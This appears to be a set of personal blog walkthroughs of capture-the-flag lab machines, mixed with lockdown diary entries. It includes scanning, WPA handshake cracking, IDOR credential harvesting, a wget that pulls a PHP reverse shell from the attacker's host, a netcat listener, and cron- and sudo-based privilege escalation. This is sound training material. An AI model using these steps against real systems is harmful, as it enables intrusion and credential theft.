PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8080/tcp open http BusyBox httpd 1.13
8999/tcp open http WebFS httpd 1.21
9000/tcp open http PHP cli server 5.5 or later (PHP 7.2.30-1)
http://192.168.56.38:8999
Let’s download WPA-01.cap
Let’s run the packet in wireshark
wireshark WPA-01.cap &
I tried my best to dive into the cap file, I was not able to get any anything concrete. Based on our previous machine that we did, I am having a hunch that we will get a username and a password out of this.
Although it shows many connected devices to the router (dlink), only dlink did work as a username. You might be wondering how I got the password? You might know if you have read this post.
Yeah I did run aircrack-ng on the CAP file with rockyou file.
/var/www/bolt/public/files it has the 777 permissions
If you have carefully read the output from nmap, you might have seen that the server is running PHP cli server. That means we can upload a php reverse shell.
Let’s do that..
On Kali Machine
I have downloaded and stored my shells and other tools at /opt
python -m SimpleHTTPServer 8000
On Victim01 Machine
cd /var/www/bolt/public/files/
wget 192.168.56.33:8000/php-reverse-shell.php
chmod +x php-reverse-shell.php
And also change the IP address and Port of your choice. Mine IP: 192.168.56.33 Port:1234
Let’s set up an nc setup on Kali Machine to receive a reverse connection from the Victim01 machine.
I tried to execute the PHP shell on the victim machine to get the reverse connection and I get a limited shell. However, when I try to view the PHP shell through the browser, I got a shell with root privilege. To be honest, I don’t know what is the primary reason behind it and I think I will need to explore more on this. However, I am gonna keep this in mind while I do shelling other boxes in the future.
sV reveal what services are running on the target machine with respective version numbers
-p- it means scan all the ports (65535)
-o ouput save to nmap.log
When I look at the vm, I can see that there is start:here. I tried ssh with start as username and here as the password
Since the user “start” not a sudo user therefore, I was not able to know what sudo command it could run.
However, there were two folders.
bluepill
awesome_work
redpill
this_will_surely_work
Both awesome_work and this_will_surely_work are ASCII text file.
bluepill has a shorten link, I am afraid it might automatically do some drive-by attack at hind, so let’s do a virustotal scan.
Virustotal report didn’t show any threat. (nevertheless, some good cryptor could bypass such scan and let’s not discuss it here)
Now, let’s unshorten the link. There are many free services available online and you can choose based on your preference.
Ok, it’s just a rabbit hole.
cat redpill/this_will_surely_work
Another rabbit hole : (
Let’s enumerate the target machine, whether it has only binary or file which has enabled SUID or SGID.
<code>find / -perm 0777 -type f 2>/dev/null
Since, I am using uBuntu Desktop, I need to install openssh-server package to receive binaries from the target machine.
Narration: I am trying to transfer wytshadow.pcap file from the victim machine to my local machine at /home/researcher/vulhub/Troll3/2
Transfer the gold_star.txt (looks like it is list of password dictionary)
We can analyze the wytshadow.cap with Wireshark (GUI) software. However, we will try to analyze it with tcpdump (Terminal) software.
tcpdump pending
By the look of it, I am going to guess wytshadow as username and password are in the .cap file.
We can crack the password using aircrack-ng package with password dictionary list which we got from the victim machine – gold_star.txt .
<code>aircrack-ng -w gold_star.txt wytshadow.cap
gaUoCe34t1
<code>ssh wytshadow@192.168.56.26
password: gaUoCe34t1
./oohfun
control+c to stop the execution
I checked crontab and no entry was there.
let’s figure out whether any sudo enabled binary is there.
password: gaUoCe34t1
Yes, we got something
Let’s checkout nginx configuration file, enumerate on which port it is listening. You might think why I am all of sudden taking interest in the config file. It’s because sudo is enabled on nginx. Therefore, I am trying to find some information which could be leveraged.
<code>cat /etc/nginx/sites-enabled/default
You can see that there is a service Lynx is going to run on port 8080, if nginx runs.
Let’s verify whether is there any process running with port 8080.
<code>netstat -ntap
Actually, this is a redundant task because we know that from the nmap.log result, we can conclude that no service is running on port 8080.
Anyway, let’s start the nginx service and, I need to google and get to know little bit about Lynx service
/usr/sbin/service nginx start
now, Lynx is listening at port 8080.
I understood now the usage of Lynx. It is more like a browser for the command line. You can read more from here.
I hope you are all safe and doing well. I am not sure whether it is a good idea however, instead of prayer all the time why not I volunteer to do the errand of old people around the place I stay, to purchase groceries and basic necessary things during the lock down period. So I am going to make few notice page and leave my contact there provided anybody require my help. Yes, my parents are in Tibet which I can’t physically help them but I do believe in karma. If I help the people in here, there will be kind and compassionate people over there who will assist my parent :) (Even if it is just a fallacies, I am gonna believe it :))
OK. Today, I am going to do a very challenging box (at least to me lol). Hopefully, it won’t beat me black and blues lol
Today is 22nd March and we are having all India curfew to “stay at Home” from the COVID-19. Had a good breakfast and by the time I was washing my face, a kettle of water is already boiled. So, everything set to pwn the machine.
Description og the Game:
This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, “Ceban Corp“, something has changed from Alice’s attitude towards Bob like something is “hidden”, And Bob asks for your help to get whatAlice is hiding and get full access to the company!
Difficulty Level: Beginner
Notes: there are 2 flag files
Learning: Web Application | Simple Privilege Escalation
I know save this output because I get confused with different IP addresses (recently I been playing with couple of machines)
So the Target Machine IP address is: 192.168.56.17
Step 03:
Let’s find what services, service version and port numbers is currently running on it.
nmap -sC -sV -p- 192.168.56.17 -oN nmap.log
Step 04:
It is confirmed that a webserver (Apache) is running on it. Besides, result of step 03 is very important. If we can’t find anything useful, we will have to go through it again and attack another services etc.. So keep this in mind.
Let’s find files in the webserver.. Which usually you can do with nikto or gobuster. I do both.
nikto -h 192.168.56.17 > nikto.log
Visit the website and files we found through nikto scanner
1.1 Visit website.
“The site can only be accessed local” which is very important hint. (localhost or 127.0.0.1)
1.2. Source code: Ctrl+U (on firefox)
very important hint “use x-forwarded-for”
To be honest, I know it will act as redirection but I don’t know the syntax so I googled and I got this ..
So the syntax is
x-forwarded-for localhost
1.3 At this time, I just fire-up my burp suite and modified the request. (let me know if you don’t know how to use burpsuite or configure it, in the comment).
I had to manually put the custom header value there on each request (x-forward-for: localhost) However, I am very happy with the result and perhaps when time permits me today, I will read more on how to automate this, so that I won’t have to spend that much time for such task :)
Yes, when I see the login page I felt very excited and google few sql cheat sheet right away and start experimenting. Nevertheless, I was no luck. However, if you have read the last couple of post, I did LFI to one of the box. So, I thought why not I open an account and upload my shell in there. (usually this is done during the bug bounty too)
So I began to messing with the ID values up in the URL location. I place 1 there and checked, then 2, and then 3… I enumerate till 6 and I got all the user registered on this website with their password.
If you do remember the game description which is at the very beginning of this write up, our person of the interest is alice.
Yeah, we got the password of user alice.
username: alice
password: 4lic3
As per the nmap result, we know that the SSH protocol is running on the box.
ssh alice@192.168.56.14
Usually, I used to think how come those blogger knows everything about the box.. Now I realized it. I tried SUID binaries and tried and ran into my rabbit holes, but I didn’t write it here lol
While I was solving the previous box, the author trolled me to wait for password (although there isn’t one) and the user itself is sudo user so no complex exploit is required to root that. Therefore, in this box, I would like to test whether the current user has sudo on it. So I googled the syntax and guess what I got?
Yes, /usr/bin/php has root privilege enabled on it.
I know through python, we can escalate the privilege by writing three lines of code (to set value for setuid, setgid). However, I have no idea with PHP. So I googled a little and thought it will be faster to ask some pointer from OSCP STUDY GROUP.
Indeed I got help and I was able to root it within few seconds. (using this link)
So I will not write details of it, because everything is there in that link. Probably you should read a little too :)
As per the requirement, we need to get two flags and root the system.
So far we root the system and got one flag.
However, another one I am not sure where it is. Let’s use the power of find command lol
find / -name gfriEND*
No, I didn’t find anything. Let’s enumerate again carefully this time…
Yes, indeed.. it is here… fishhhhhhh lol
Flag 01 is here:
Final Assign and message which Bob wish to know is here.
Going to prepare lunch now.. Hopefully I could take down another box today :)
Although there isn’t many COVID19 cases around the place I stay, the ominous air of uncertainty and concern from the people getting increases. By the way, I reached Dharamsala yesterday and, as soon as I got in room, I did wash all the clothes I wear during the journey (I took a flight and a bus to reach here), and apart from few electronic gadgets, literally I washed everything and had loaded my kitchen with rations (this is my ritualistic habit whenever I get back to room, not because of the current situation though) and other amenities.
After a sumptuous meal, I retired early yesterday.
Anyway, I woke up around 5 o’clock today and feeling fresh and rejuvenated. Nevertheless, I had to wait till April to renew my internet connection.
I thought why not I play this “born2root” to kill some time, because I find it abnormally quiet here (because at Bangalore, I stay at my friend’s place and usually commotion of college students push life in the atmosphere there). Am I missing the place?!
Let’s see whether we can break this machine or not :)
From the output, I can deduce that it runs SSH, Apache webserver and rpcbind. Let’s check the low hanging first. The web part.
It has a website on it, it reveals lot of information. I am not sure why, but I feel like taking the website content (including keywords and usernames) to make a list, perhaps I could use it as dictionary later on.
http://192.168.56.14
Then I visit robots.txt and I didn’t get potential information. I did run exiftool on the image though..
I ran nikto to enumerate and usually if I don’t find any, I use gobuster.
nikto -h 192.168.56.14 > nikto.log
Indeed, it shown couple of interesting information however, much of those yield no important information apart from one file.
I visited the first two text files, I got this key.
I didn’t check further because I got this key. However, if it is real application, I would definitely download the entire pictures and analyze each one though.
Remember, we got couple of good username from the above steps. So, first is martin, I tried to login with this username.
ssh -i id_rsa martin@192.168.56.14
Oh my god, I used a good amount of time, simple to know the password for it. It really got me.. IT”S A TROLL AND YOU JUST NEED TO PRESS ENTER!
And then, I reached to a state that I couldn’t find anything.. Here is the proof that what I was doing..
At this moment, I really learned a new tip, that is if you want to check whether any cron job is set or not, don’t just depend on crontab -l
But check,
cat /etc/crontab to know the full entry of cron. I learned this from other blog
yes, from above write we can see that there is a cronjob entry for user jimmy which runs at every 5 minutes. Therefore, I copied a python reverse shell command from pentest monkey.And waiting for the reverse connection. So finger cross :)
By the way, if you are not getting reverse connection, try to polish the script you copy from the pentest money and make it more like native python program (like how we used to write normally with shbank). By the way, don’t try to execute the python program, you can get the reverse shell connection with martin user again. So patiently wait for five minutes or go and fill up your tea cup :)
yes, I got the reverse connection of user jimmy.
Then, I try to switch user to jimmy and martin and it was not successful. I reached my wits end. Had a delicious mushroom noodle with broth made of vegetables. (Yeah, I am veggie lol). Then had brushed my teeth and literally if I can pwn this box, I am sure I will have a great sleep ;)
I googled and came to know of a beautiful tool called cewl. I try with hydra and it was not successful. Then, I read this writeup. The author tried a tool called cupp to generate dictionary and it was beautiful. Nevertheless, I was not able to crack with hydra. I read the writeup again and check it again and it seems the password of user hadi is hadi123. I was little baffled why the wordlist generator eliminate such obvious password. Anyway, I add it manually to my dictionary and it helped me confirm that it was not hydra’s fault. Cheers buddy lol
And I got login [You can click on the image to see the command]